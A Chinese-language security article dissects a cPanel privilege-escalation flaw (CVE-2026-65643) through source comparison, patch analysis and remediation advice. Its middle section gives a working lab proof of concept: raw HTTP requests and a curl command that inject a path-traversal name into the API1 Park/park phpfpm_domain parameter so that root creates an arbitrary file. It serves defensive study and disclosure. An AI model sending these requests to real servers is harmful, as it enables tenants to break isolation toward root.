一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘
原创
网络安全透视镜
网络安全透视镜
网络安全透视镜
2026年8月31日 08:10
中国香港
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
高危漏洞深度复盘
一个域名,撬翻整台服务器
认证后的低权限 cPanel 账号,如何跨过特权边界直达 root?本文用源码对照,把 CVE-2026-65643 的真正注入点、利用边界和修复思路讲清楚。
普通租户账号 → root 创建任意文件 → 宿主机隔离失守
低权限主机账号 → root。不碰网站漏洞,不过 WAF,直击面板内核。 本文基于授权的本地源码对照审计(含漏洞 11.138.0.1 vs 修复版 11.138.0.2),只做原理拆解与防御科普,不提供可直接落地的武器化利用。
一、一句话看懂这个漏洞
2026 年 8 月末,cPanel 官方紧急披露高危漏洞 CVE-2026-65643。
它可怕的地方不在于「又一个 Web 洞」,而在于它绕开了所有人习以为常的防线:
- 攻击者不需要 root,不需要管理员账号;
- 只要一个能添加\"停放域名/附加域名\"的普通 cPanel 账号;
- 就能让运行在 root 权限下的后台脚本,按自己指定的名字创建文件;
- 最终一路提权到 root,接管整台宿主机。
共享主机上,这意味着一个租户能击穿隔离、控制所有邻居的站点。
二、影响范围
| 项目 | 说明 |
|---|---|
| CVE 编号 | CVE-2026-65643 |
| 危害等级 | 严重 / Critical |
| 披露时间 | 2026-08-27 |
| 触发条件 | 见下文「三、漏洞利用条件」(认证用户 + 停放/附加域名权限 + 未修复版本) |
| 攻击前提 | 不需要 管理员凭据,不需要网站漏洞或复杂前置链 |
| 不受影响 | cPanel DNS-Only 纯 DNS 服务器 |
修复版本(低于以下版本均受影响):
11.110.0.141+11.134.0.53+11.136.0.37+11.138.0.2+- WP2
11.138.1.7+
一个关键认知:这个漏洞防火墙拦不住、WAF 拦不住、和你网站程序有没有洞毫无关系。 它发生在 cPanel 的特权边界内部(普通用户代码 → root adminbin),是架构级的信任缺陷。
三、漏洞利用条件
先把「能不能打」说清楚。CVE-2026-65643 不是未授权远程裸打,但也远谈不上“难利用”——共享主机场景下,租户账号几乎是标配前提。
3.1 必须同时满足
| # | 条件 | 说明 |
|---|---|---|
| 1 | 面板版本未修复 | 低于官方修复线:11.110.0.141 / 11.134.0.53 / 11.136.0.37 / 11.138.0.2 / WP2 11.138.1.7 |
| 2 | 不是 DNS-Only | 纯 DNS 角色服务器不受影响;需具备域名停放相关完整功能栈 |
| 3 | 已登录的普通 cPanel 账号 | 需要有效会话(Cookie / Basic Auth / 访问哈希)。不需要 WHM、reseller、root |
| 4 | 账号具备停放/附加域名功能 | parkeddomains 或 addondomains 至少一个开启;Demo Mode 下功能直接拒绝 |
| 5 | 能成功走通 park() 主流程 |
arg-0 必须是可通过 is_valid_cpanel_domain() 的合法域名,且该账号有权把它停放上去(实验里常用 arg-6=force=1 降低部分校验干扰) |
| 6 | 走 API1 位置参数通道注入 phpfpm_domain |
最直接入口是 API1 Park/park 的 arg-4;含漏洞版 Park_park 会 park(@_) 原样透传。API2 api2_park 这条把 phpfpm_domain 写死了,不是同款直通枪 |
| 7 | arg-4 满足名字策略 |
非空;不以 . 开头;内部可含 / 与 /../,以便逃出 /var/cpanel/taskqueue/groups/enable_fpm_subqueue |
| 8 | 目标路径此前不存在 | 落盘使用 O_WRONLY\\|O_CREAT\\|O_EXCL,已存在则创建失败,无法覆盖 |
满足 1–8,即可在授权实验室验证「以 root 创建任意空文件」原语。
3.2 明确不需要什么
- 不需要
网站程序漏洞(SQL 注入、上传、RCE 等)
* 不需要
过业务 WAF / CDN(打的是 2083 面板 API,不是站点 80/443 业务面)
* 不需要
管理员凭据或提权跳板链的前半段
* 不需要
在「域名」字段里塞 ../(那条路被正则拦死,真正可控的是内部参数 phpfpm_domain)
3.3 利用门槛怎么评估
| 场景 | 难度 | 解读 |
|---|---|---|
| 共享主机 / 分销主机租户 | 低 | 攻击者天生就有普通 cPanel 账号 + 停放域名权限 |
| 已泄露的主机面板账号 | 低 | 等同租户场景 |
| 完全未授权、没有任何面板账号 | 高 / 不可直接打 | 本洞不是匿名 RCE,需要先解决“有一个能登录的 cPanel 用户” |
| 已打补丁或 DNS-Only | 不可利用 | 条件 1 或 2 不成立 |
一句话:认证后的低权限面板用户 → root,属于典型的「租户击穿隔离」洞,不是「互联网裸奔扫端口就能收菜」的洞。
3.4 从原语到 Root RCE 的边界
官方已确认:任意文件创建原语可进一步导致 Root RCE。但后半段依赖具体落点与系统状态(且受 O_EXCL、空文件等约束),不属于“发一个 HTTP 包就自动 Root”的单步骤。本文后续 PoC 只覆盖到「root 在 /tmp 创建标记空文件」这一可安全复现的原语层。
四、先纠正网上一个流传很广的错误说法
不少文章把成因描述成:「在域名里塞 ../ 路径穿越,然后往 cron / authorized\_keys 里写入自定义后门内容」。
对着源码看,这个说法是错的,两个硬伤:
1)域名里根本塞不进 ../。
Cpanel::Park::park() 里,域名先被正则捕获,再过 is_valid_cpanel_domain():
$domain =~ s/^www\\.//g;
$domain =~ tr/A-Z/a-z/;
$domain =~ /([\\-a-z\\.0-9]*)/i; # 只保留 字母/数字/-/.
$domain = $1;
实测(见文末实验脚本):
in=evil.example/../x captured=evil.example ← 斜杠及之后全被丢弃
in=ok.example;id captured=ok.example ← 分号注入也没戏
2)落盘环节不写\"自定义内容\"。
真正创建文件的 Cpanel::TaskQueue::SubQueue::Adder::add() 走的是无内容分支:
my $fhmode = O_WRONLY | O_CREAT | O_EXCL;
sysopen( $fh, $path, $fhmode ) or ...; # 只创建\"空文件\",且不能覆盖已有文件
所以正确的表述是:官方口径的原语是 \"以 root 身份创建任意文件\"(arbitrary file creation)→ RCE,是文件创建原语,不是内容写入原语。真正可控的也不是域名,而是另一个藏在参数列表里的内部参数。
五、漏洞分析:真正的注入点在第 5 个参数
5.1 被漏出来的\"内部参数\"
park() 的完整签名是:
park($domain, $topdomain, $disallowdot, $do_ssl_setup, $phpfpm_domain, $ignore_limits, $force)
后三个是内部参数,本应只由进程内受信任代码拼装,绝不该让请求方控制。但含漏洞版本的多个 API 入口把它们原样透传了:
| 入口 | 泄漏的特权参数 |
|---|---|
API1 Park_park |
park(@_) 原样透传,arg-4=phpfpm_domain 直达 |
API2 api2_park |
force |
API2 api2_addaddondomain |
force / ignore_limits / tempdomain |
ParkAdmin::_local_park |
ignore_limit_for_domain_conversion 被提升到 WHOSTMGR 上下文 |
API1 SubDomain::addsubdomain |
@_ 透传出 skip_phpfpm / force 等 |
其中 API1 的 Park_park 最直接:
sub Park_park {
my ( $result, $reason ) = park(@_); # arg-4 phpfpm_domain 原样喂进去
...
}
而 park() 里对 $phpfpm_domain 只判空、不校验字符:
$phpfpm_domain = 0 if !defined $phpfpm_domain; # 就这一句,形同虚设
5.2 从普通用户到 root 的完整链路
[普通用户 API1 请求]
│ arg-4 = phpfpm_domain(任意字符串)
▼
Cpanel::Park::park() ← 不校验 phpfpm_domain
│ adminrun('park','ADD',...,$phpfpm_domain,...)
│ 参数用空格 join,协议: (\\d*) (ADD|DEL|DELADDON) (.*)
▼ ★跨越特权边界★
[root] bin/admin/Cpanel/park (park.pl)
│ queue_convert_domain($phpfpm_domain)
▼
Cpanel::PHPFPM::EnableQueue::Adder->add($phpfpm_domain)
▼
Cpanel::TaskQueue::SubQueue::Adder::add()
│ die if index($name,'.')==0 ← 只拦\"以 . 开头\"
│ $path = _DIR() . \"/$name\" ← 内部的 / 完全不清理!
▼
sysopen(O_WRONLY|O_CREAT|O_EXCL) ← 以 root 创建空文件
父目录不存在时 → mkdir 0700 ← 以 root 按需建目录
_DIR() = /var/cpanel/taskqueue/groups/enable_fpm_subqueue。
5.3 名字策略的致命细节
add() 只用 index($name,'.')==0 拦「以 . 开头」的名字,对中间的 / 和 /../ 不做任何处理。结果:
- 朴素的
../x→ 以.开头,被die挡住; - 但
x/../../…这种不以.开头、内部含/../的名字能通过检查,最终路径逃出队列目录,被 root 落到攻击者指定的位置。
这就是\"以 root 创建任意文件\"的由来。至于从\"创建文件/目录\"到\"稳定 RCE\",官方已确认可行,本文不展开可复制的落地姿势。
六、漏洞复现(实验室安全形态)
声明:本节仅面向自有授权实验室(含漏洞版本
11.138.0.1)。PoC 只验证「以 root 创建任意空文件」原语,arg-4只指向/tmp下的标记文件,不给出写入cron/authorized_keys/sudoers等持久化路径的取值,也不给出完整 RCE 利用链。请勿对未授权目标使用。
6.1 实验前置条件
完整利用条件见 第三节。实验室最小集合如下:
| 项 | 要求 |
|---|---|
| 面板版本 | 含漏洞版本,如 11.138.0.1(未打 CVE-2026-65643 补丁) |
| 账号 | 普通 cPanel 账号,具备 Parked Domains / Addon Domains 功能(非 Demo Mode) |
| 域名 | 一个该账号可以成功停放的合法域名(能过 is_valid_cpanel_domain()) |
| 认证 | 该账号的会话 Cookie,或 Basic Auth / 访问哈希 |
| 验证权限 | 能以 root 在宿主机上 ls(确认标记文件是否出现) |
| 注入通道 | API1 Park/park,控制 arg-4($phpfpm_domain) |
注入点回顾:API1 Park / park 的 arg-4($phpfpm_domain)。域名参数本身塞不进 ../,真正可控的是这个内部参数。
路径演算(队列目录 → /tmp):
队列目录 = /var/cpanel/taskqueue/groups/enable_fpm_subqueue
名字策略 = 只拒绝「以 . 开头」,内部 / 与 /../ 不清理
lab 标记名 =
x/../../../../../../tmp/cve_2026_65643_lab_proof
│ └─ 6 个 ../ :先吃掉名字里的 x,再跳出 groups→taskqueue→cpanel→var→/
└─ 前缀 x 让整串「不以 . 开头」,骗过 index($name,'.')==0
最终落盘(root 创建空文件)=
/tmp/cve_2026_65643_lab_proof
注意:
sysopen使用O_EXCL,不能覆盖已存在文件。复现前请确认标记路径尚不存在:test ! -e /tmp/cve_2026_65643_lab_proof。
6.2 HTTP Raw PoC(推荐:会话 Cookie + POST)
登录 cPanel 后,从浏览器开发者工具复制 session / cpsession 等 Cookie,以及 URL 里的 cpsess########## 安全令牌,替换下方占位符。
POST /cpsess##########/json-api/cpanel HTTP/1.1
Host: lab-target.example.com:2083
Cookie: cpsession=USERNAME%3aXXXX%2cXXXX; session=XXXXXXXX
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
Content-Length: 225
cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1
Cookie 与 Basic Auth 二选一即可。上面示例走会话 Cookie;若更习惯口令,把
Cookie行换成:Authorization: Basic <base64(cpanel_user:password)>
参数对照:
| 字段 | 含义 | 实验取值说明 |
|---|---|---|
cpanel_jsonapi_apiversion |
API 版本 | 必须为 1 (位置参数通道;API2 这条链路 phpfpm_domain 被写死) |
cpanel_jsonapi_module |
模块 | Park |
cpanel_jsonapi_func |
函数 | park → 进入 Park_park → park(@_) |
arg-0 |
$domain |
合法可停放域名(过域名正则与归属校验) |
arg-1 |
$topdomain |
可空,默认停到主域名 |
arg-2 |
$disallowdot |
0 / 1 |
arg-3 |
$do_ssl_setup |
0 即可 |
arg-4 |
$phpfpm_domain |
注入点 :URL 编码后的穿越名 |
arg-5 |
$ignore_limits |
实验可 0 |
arg-6 |
$force |
实验可 1,降低 DNS/归属校验干扰 |
arg-4 明文与编码:
明文 : x/../../../../../../tmp/cve_2026_65643_lab_proof
编码 : x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof
6.3 等价形态:Basic Auth + GET(方便 curl 一把梭)
适合命令行快速打一遍(同样只写 /tmp 标记):
GET /json-api/cpanel?cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1 HTTP/1.1
Host: lab-target.example.com:2083
Authorization: Basic <base64(cpanel_user:password)>
Accept: application/json
Connection: close
对应 curl(实验室内网自测):
AUTH=$(printf '%s' 'cpanel_user:password' | base64 -w0)
curl -sk \\
-H \"Authorization: Basic ${AUTH}\" \\
--get \"https://lab-target.example.com:2083/json-api/cpanel\" \\
--data-urlencode \"cpanel_jsonapi_apiversion=1\" \\
--data-urlencode \"cpanel_jsonapi_module=Park\" \\
--data-urlencode \"cpanel_jsonapi_func=park\" \\
--data-urlencode \"arg-0=parkme.lab-target.example.com\" \\
--data-urlencode \"arg-1=\" \\
--data-urlencode \"arg-2=0\" \\
--data-urlencode \"arg-3=0\" \\
--data-urlencode \"arg-4=x/../../../../../../tmp/cve_2026_65643_lab_proof\" \\
--data-urlencode \"arg-5=0\" \\
--data-urlencode \"arg-6=1\"
6.4 预期现象与宿主机验证
- HTTP 层
:停放接口可能返回成功(域名确实被 park),也可能因环境差异返回业务错误——关键看特权侧有没有落盘,不要只看 JSON result。
2. 特权侧
(root):
# 复现前
ls -l /tmp/cve_2026_65643_lab_proof 2>/dev/null || echo 'marker absent (good)'
# 发送 PoC 后
ls -la /tmp/cve_2026_65643_lab_proof
# 预期类似:
# -rw------- 1 root root 0 ... /tmp/cve_2026_65643_lab_proof
# ^^^^ root 拥有、大小为 0 → 「以 root 创建空文件」原语成立
stat -c 'uid=%u user=%U size=%s' /tmp/cve_2026_65643_lab_proof
- 对照修复版
11.138.0.2+
:同一请求下,park() 会对 phpfpm_domain 做 validdomainname(),含 / 的值被归零;Park_park 也不再透传 arg-4。标记文件不应再出现。
4. 清理
:rm -f /tmp/cve_2026_65643_lab_proof,并按需取消实验停放域名。
6.5 为什么这不是「写任意内容」
很多人看到 HTTP PoC 会下意识以为能把 webshell 写进文件。源码里 SubQueue::Adder::add() 走的是:
sysopen($fh, $path, O_WRONLY | O_CREAT | O_EXCL); # 只创建,不写 body
所以本 PoC 验证的是 arbitrary file creation as root。从「创建空文件/目录」到稳定 RCE,官方已确认可行,但那属于利用链后半段,本文不展开、不给可复制 payload。
6.6 可离线复现的名字策略验证
没有实验面板时,用下面脚本也能一眼看懂「为什么域名安全、为什么 x/../.. 能逃逸」(纯建模,不落盘):
#!/usr/bin/env perl
use strict; use warnings;
use File::Spec;
my $DIR = File::Spec->catdir(File::Spec->tmpdir(), 'enable_fpm_subqueue_model');
sub adder_accepts { return index($_[0], '.') != 0; }
sub resolved {
my $joined = \"$DIR/$_[0]\"; my @parts;
for my $p (File::Spec->splitdir($joined)) {
next if !defined $p || $p eq '' || $p eq '.';
if ($p eq '..') { pop @parts if @parts; next; }
push @parts, $p;
}
return '/' . join('/', @parts);
}
printf(\"%-40s %-9s %-8s %s\
\", 'name','accepted','escapes','resolved');
for my $name (
'example.com', '.hidden', '../nope',
'x/../../../../../../tmp/cve_2026_65643_lab_proof',
'sub.example.com'
) {
my $ok = adder_accepts($name) ? 'yes' : 'no';
my $res = resolved($name);
my $esc = ($ok eq 'no') ? 'n/a' : (index($res,$DIR)==0 ? 'no' : 'yes');
printf(\"%-40s %-9s %-8s %s\
\", $name, $ok, $esc, $res);
}
仓库内完整脚本:lab/adder_name_policy.pl(perl lab/adder_name_policy.pl 直接跑)。
七、修复建议
7.1 首要动作:升级
升级到官方修复版本之一:
11.110.0.141+ / 11.134.0.53+ / 11.136.0.37+ / 11.138.0.2+ / WP2 11.138.1.7+
升级后重启相关服务,避免长驻进程仍加载旧代码:
# 视实际环境执行
/scripts/restartsrv_cpsrvd
systemctl restart httpd crond # 服务名以你的系统为准
DNS-Only 服务器不受影响,无需处理。
7.2 官方补丁到底改了什么(值得抄的思路)
核心是在特权边界上把内部参数掐死 + 在 park() 里给 phpfpm_domain 补校验。底层写文件的 SubQueue::Adder 一行没动——修的是\"谁能传值进来\",而不是\"落盘时再补救\"。
park()
:phpfpm_domain 为空或 !validdomainname() 就归零并记日志。域名标签只允许 [a-z0-9-],/ 和 .. 一律通不过。
* Park_park
(API1):不再 park(@_),改为按名字绑定公开参数,phpfpm_domain/ignore_limits 强制 undef。
* api2_park
/ api2_addaddondomain:进门先剥离 force / tempdomain,再进入真正逻辑。
* ParkAdmin::_local_park
:不再因内部标志把校验器提升到 WHOSTMGR 上下文(那会连带绕过跨用户归属检查),改为只豁免 MAXADDON 配额。
7.3 排查是否已被利用
- 日志侧:检索
access_log中停放/附加域名的异常提交,重点看 arg-4 /phpfpm_domain里出现/、..等非域名字符的请求。 - 系统侧:面板类提权后,攻击者更倾向落系统级持久化——重点排查
/etc/cron.d/、/var/spool/cron/、~/.ssh/authorized_keys、可疑新增系统账号、/var/cpanel/taskqueue/groups/下的异常文件。 - 若确认被入侵:优先隔离、取证,再考虑重装系统 + 干净数据恢复 + 全量改密。
7.4 长期启示
CVE-2026-65643 再次暴露了面板类软件的通病:通用功能以最高权限运行、用户输入的信任边界含糊、租户隔离依赖上层应用而非系统底层。对运维而言,面板高危漏洞的杀伤力远大于普通 Web 洞——它直接击穿隔离、直达内核。补丁随发随更,不要抱侥幸心理。
本文为授权环境下的源码对照分析记录,用于防御与安全科普,不含针对未授权目标的可落地攻击载荷。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论